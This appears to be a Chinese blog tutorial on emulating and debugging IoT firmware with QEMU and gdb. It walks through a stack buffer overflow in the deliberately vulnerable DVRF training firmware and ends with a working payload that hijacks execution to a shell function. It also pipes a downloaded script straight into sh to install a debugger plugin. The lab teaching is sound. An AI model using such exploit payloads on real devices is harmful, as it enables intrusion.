动态分析IoT固件(三)

前言

动态分析固件之前,需要先把固件运行起来,但我们手头又没有路由器、摄像头之类的物联网硬件,该如何运行呢?这就需要虚拟执行,虚拟执行你就把它想象成一个虚拟机可以运行各种物联网OS就是了。

QEMU这个模拟器想必都不陌生,一个近乎能够模拟所有硬件设备的软件,而Firmadyne这个工具,是一个基于QEMU的分析平台,包含模拟、固件提取、调试等功能。

但该工具很难安装,在kali上安装一直报错,人麻了。。。最终选择用attifyti提供的物联网渗透专用虚拟机,下载下来的文件直接用vmware导入就行了。

下载地址 https://www.dropbox.com/sh/xrfzyp1ex2uii53/AAAF0mdA1qFaEBDYZoIxaQRma?dl=0

模拟执行固件

下载好虚拟机文件导入VM打开

在这里插入图片描述

下面我们来演示虚拟执行一个dlink固件。

在tools/fat路径下运行fat.py

在这里插入图片描述

脚本执行成功后,会回显一个IP地址,这个IP就是模拟的固件地址。
在这里插入图片描述

调试固件

以上只是简单地演示如何虚拟执行一个固件,下面我们就来实操如何通过动态调试分析一个固件,接下来的固件采用DVRF,这是个网友自制的充满漏洞的固件,供学习用的。

git clone https://github.com/praetorian-code/DVRF.git

开始之前,安装以下工具,动态调试中会用到。

sudo apt install gdb-multiarch
wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
sudo pip3 install capstone unicorn keystone-engine

安装keystone-engine时可能会报错,参考这个链接。
https://github.com/avatartwo/avatar2/issues/23

安装好工具后,就开始对固件进行分析啦,固件路径如下。

DVRF/Firmware/DVRF_v03.bin

使用binwalk提取固件文件系统。

binwalk -t -e DVRF_v03.bin

在这里插入图片描述

在这里插入图片描述

提取出来的系统有个文件夹pwnable,这个文件夹就是存放着有漏洞的程序示例,我们选取缓冲区漏洞程序stack_bof_01进行实验。首先使用readelf命令查看该程序的架构。

readelf -h pwnable/Intro/stack_bof_01

在这里插入图片描述
拷贝qwmu-mipsel-static到固件根目录:

cp (which qemu-mipsel-static) .

用qemu虚拟运行stack_bof_01,配合chroot虚拟执行stack_bof_01固件,可以成功执行。qemu是一款轻型的虚拟机。
在这里插入图片描述

查看stack_bof_01的源码,可以发现明显的strcpy内存溢出漏洞,当参数argv[1]超过200时,就会出现buf溢出的现象。

cat DVRF/Pwnable Source/Intro/stack_bof_01.c

在这里插入图片描述

以调试的方式启动程序,并在1234端口进行监听调试:

sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01

运行以下命令开始调试。

gdb-multiarch pwnable/Intro/stack_bof_01

gdb运行后,会自动加载gef插件,然后设置固件架构为mips。

set architecture mips

设置完远程调试的IP和端口,就可开始调试stack_bof_01程序了。

target remote 127.0.0.1:1234

在这里插入图片描述

调用命令查看样本的所有函数,可以看到各个函数的地址。

info functions

在这里插入图片描述
如果你感兴趣,可以使用命令查反汇编看下main函数的汇编码,这是mips架构的汇编码,跟x86的相差很大。

然后我们使用命令创建一个随机的300字节流,作为攻击字符串,用于测试参数溢出的点。

pattern create 300

在这里插入图片描述
重新带参数调试stack_bof_01。

sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac

在这里插入图片描述
gdb挂上去后,输入c回车让程序跑起来,会发现程序崩溃了,SIGSEGV内存出错,指针ra指向0x63616162,对应的ASCII是”baac”。

在这里插入图片描述
使用命令查看该溢出点在攻击字符串的什么位置,是位于pattern的第204位。

pattern search 0x63616162

在这里插入图片描述
然后反汇编dat_shell函数,查看其函数地址,我们的目的是要让程序本来执行0x63616162,变成执行dat_shell的地址,理论上应该把0x63616162改成0x400950,但调试中发现,当执行到0x400970时,gp寄存器指向了不可访问的地址,因此要略过前3条gp相关的指令。

将待执行的函数地址拼凑到204个字节后面,便可劫持程序执行流到dat_shell函数(0x40095C),从而实现缓冲区溢出攻击。

sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python -c "print 'A'*204 + '\x5c\x09\x40'")"

在这里插入图片描述

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值